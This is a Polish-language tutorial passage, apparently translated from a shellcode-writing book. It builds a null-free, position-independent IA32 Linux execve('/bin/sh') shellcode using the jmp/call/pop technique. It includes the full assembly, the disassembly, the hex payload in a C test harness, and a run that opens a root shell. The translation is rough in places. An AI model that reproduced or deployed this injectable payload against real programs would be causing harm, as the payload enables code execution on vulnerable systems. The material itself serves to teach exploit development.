Znowu pojawił się paskudny problem zerowy. Podczas konfigurowania EAX i EDX będziemy mieć wartości null. Będziemy też mieć wartości null kończące nasz ciąg /bin/sh. Możemy użyć tych samych samomodyfikujących się sztuczek, które zastosowaliśmy w naszym shellcode exit(), aby umieścić wartości null w rejestrach, starannie dobierając instrukcje, które nie tworzą wartości null w odpowiednim opkodzie. Jest to łatwa część pisania wstrzykiwanego kodu powłoki — teraz na twardą część. Jak pokrótce wspomniano wcześniej, nie możemy używać adresów zakodowanych na sztywno w shellcode. Zakodowane na sztywno adresy zmniejszają prawdopodobieństwo działania shellcode w różnych wersjach Linuksa iw różnych podatnych na ataki programach. Chcesz, aby Twój shellcode Linuksa był jak najbardziej przenośny, więc nie musisz go przepisywać za każdym razem, gdy chcesz go użyć. Aby obejść ten problem, użyjemy adresowania względnego. Adresowanie względne można osiągnąć na wiele różnych sposobów; w tym rozdziale użyjemy najpopularniejszej i klasycznej metody adresowania względnego w shellcode. Sztuczka do stworzenia sensownego adresowania względnego w shellcode polega na umieszczeniu w pamięci adresu, od którego zaczyna się shellcode lub ważnego elementu shellcode w rejestrze. Możemy następnie tak skonstruować wszystkie nasze instrukcje, aby odwoływały się do znanej odległości od adresu zapisanego w rejestrze. Klasyczną metodą wykonania tej sztuczki jest rozpoczęcie shellcode instrukcją skoku, która przeskoczy poza mięso shellcode bezpośrednio do instrukcji wywołania. Przeskok bezpośrednio do instrukcji call ustawia adresowanie względne. Gdy instrukcja call jest wykonywana, adres instrukcji następujący bezpośrednio po instrukcji call zostanie umieszczony na stosie. Sztuczka polega na tym, aby umieścić cokolwiek chcesz jako podstawowy adres względny bezpośrednio po instrukcji call. Teraz automatycznie przechowujemy nasz adres bazowy na stosie, bez konieczności wcześniejszej znajomości adresu. Nadal chcemy wykonać mięso naszego shellcode u, więc instrukcja wywołania wywoła instrukcję natychmiast po naszym pierwotnym skoku. Spowoduje to przeniesienie kontroli wykonania z powrotem na początek naszego shellcode u. Ostatnią modyfikacją jest uczynienie pierwszą instrukcją po skoku POP ESI, która zdejmie wartość naszego adresu bazowego ze stosu i wstawi go do ESI. Teraz możemy odwoływać się do różnych bajtów w naszym shellcode zie, używając odległości lub przesunięcia od ESI. Rzućmy okiem na pseudokod, aby zilustrować, jak to będzie wyglądać w praktyce:

jmp short GotoCall

shellcode:

pop esi

&hellipo;

< shellcode meat >

…

GotoCall:

Call shellcode

Db ‘/bin/sh’

Dyrektywa DB lub define byte (technicznie rzecz biorąc nie jest instrukcją) pozwala nam wygospodarować miejsce w pamięci na łańcuch. Poniższe kroki pokazują, co dzieje się z tym kodem:

1. Pierwsza instrukcja to skok do GotoCall, który natychmiast wykonuje instrukcję CALL.

2. Instrukcja CALL przechowuje teraz adres pierwszego bajtu naszego łańcucha (/bin/sh) na stosie.

3. Instrukcja CALL wywołuje shellcode .

4. Pierwsza instrukcja w naszym shellcode zie to POP ESI, która umieszcza wartość adresu naszego łańcucha w ESI.

5. Ciało shellcode może być teraz wykonane przy użyciu adresowania względnego.

Teraz, gdy problem adresowania został rozwiązany, wypełnijmy mięso shellcode za pomocą pseudokodu. Następnie zastąpimy go prawdziwymi instrukcjami montażu i otrzymamy nasz shellcode . Zostawimy pewną liczbę symboli zastępczych (9 bajtów) na końcu naszego ciągu, który będzie wyglądał tak:

'/bin/shJAAAAKKKK'

Symbole zastępcze zostaną skopiowane przez dane, które chcemy załadować do dwóch z trzech rejestrów argumentów syscall (ECX, EDX). Możemy łatwo określić lokalizacje adresów pamięci tych wartości do zastąpienia i skopiowania do rejestrów, ponieważ będziemy mieli adres pierwszego bajtu ciągu zapisanego w ESI. Dodatkowo możemy skutecznie zakończyć nasz ciąg wartością null, używając metody „kopiuj przez symbol zastępczy". Wykonaj następujące kroki:

1. Wypełnij EAX wartościami null przez xorowanie EAX z samym sobą.

2. Zakończ nasz ciąg /bin/sh, kopiując AL do ostatniego bajtu ciągu. Pamiętaj, że AL ma wartość null, ponieważ w poprzedniej instrukcji zerowaliśmy EAX. Należy również obliczyć przesunięcie od początku ciągu do symbolu zastępczego J.

3. Uzyskaj adres początku ciągu, który jest przechowywany w ESI, i skopiuj tę wartość do EBX.

4. Skopiuj wartość zapisaną w EBX, teraz adres początku ciągu, nad symbolami zastępczymi AAAA. Jest to wskaźnik argumentu do pliku binarnego do wykonania, który jest wymagany przez execve. Ponownie musisz obliczyć przesunięcie.

5. Skopiuj wartości null nadal przechowywane w EAX nad symbolami zastępczymi KKKK, używając prawidłowego przesunięcia.

6. EAX nie musi już być wypełniony wartościami null, więc skopiuj wartość naszego execve syscall (0x0b) do AL.

7. Załaduj EBX adresem naszego łańcucha.

8. Załaduj adres wartości przechowywanej w symbolu zastępczym AAAA, który jest wskaźnikiem do naszego łańcucha, do ECX.

9. Załaduj EDX z adresem wartości w KKKK, ze wskaźnikiem na null.

10. Wykonaj int 0x80.

Ostateczny kod asemblera, który zostanie przetłumaczony na shellcode , wygląda tak:

Section .text

global _start

```
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80
GotoCall:
Call shellcode
db '/bin/shJAAAAKKKK'
```

Kompiluj i deasembluj, aby uzyskać kody operacyjne:

```
[root@0day linux]# nasm -f elf execve2.asm
[root@0day linux]# ld -o execve2 execve2.o
[root@0day linux]# objdump -d execve2
execve2: file format elf32-i386
Deasassemblacja  sekcji .text:
08048080 <_start >:
8048080: eb 1a jmp 804809c < GotoCall >
08048082 < shellcode >:
8048082: 5e pop %esi
8048083: 31 c0 xor %eax,%eax
8048085: 88 46 07 mov %al,0x7(%esi)
8048088: 8d 1e lea (%esi),%ebx
804808a: 89 5e 08 mov %ebx,0x8(%esi)
```

804808d: 89 46 0c mov %eax,0xc(%esi)

8048090: b0 0b mov $0xb,%al

8048092: 89 f3 mov %esi,%ebx

8048094: 8d 4e 08 lea 0x8(%esi),%ecx

8048097: 8d 56 0c lea 0xc(%esi),%edx

804809a: cd 80 int $0x80

0804809c < GotoCall >:

804809c: e8 e1 ff ff ff call 8048082 < shellcode >

80480a1: 2f das

80480a2: 62 69 6e bound %ebp,0x6e(%ecx)

80480a5: 2f das

80480a6: 73 68 jae 8048110 < GotoCall+0x74 >

80480a8: 4a dec %edx

80480a9: 41 inc %ecx

80480aa: 41 inc %ecx

80480ab: 41 inc %ecx

80480ac: 41 inc %ecx

80480ad: 4b dec %ebx

80480ae: 4b dec %ebx

80480af: 4b dec %ebx

80480b0: 4b dec %ebx

[root@0day linux]#

Zauważ, że nie mamy żadnych wartości null ani adresów zakodowanych na sztywno. Ostatnim krokiem jest utworzenie shellcode i podłączenie go do programu w C:

char shellcode[] =

“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”

“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”

“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41”

“\x4b\x4b\x4b\x4b”;

int main()

{

int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

Sprawdźmy, czy działa:

[root@0day linux]# gcc execve2.c -o execve2

[root@0day linux]# ./execve2

sh-2.05b#

Teraz masz działający, wstrzykiwalny kod szelkowy. Jeśli chcesz zmniejszyć shellcode , możesz czasami usunąć zastępcze kody operacyjne na końcu shellcode u, w następujący sposób:

char shellcode[] =

“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”

“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”

“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;

W pozostałej części znajdziesz bardziej zaawansowane strategie shellcode owania i pisania shellcode dla innych architektur.

Wniosek

Nauczyłeś się tworzyć shellcode IA32 dla Linuksa. Koncepcje zawarte w tej części można zastosować do pisania własnego kodu powłoki dla innych platform i systemów operacyjnych, chociaż składnia będzie inna i może zajść konieczność pracy z różnymi rejestrami. Najważniejszym zadaniem przy tworzeniu shellcode jest uczynienie go małym i wykonywalnym. Tworząc shellcode , musisz mieć jak najmniejszy kod, aby można go było używać w jak największej liczbie sytuacji. Opracowaliśmy najpowszechniejsze i najłatwiejsze metody pisania wykonywalnego kodu powłoki. W dalszej części tej książki nauczysz się wielu różnych sztuczek i odmian tych metod.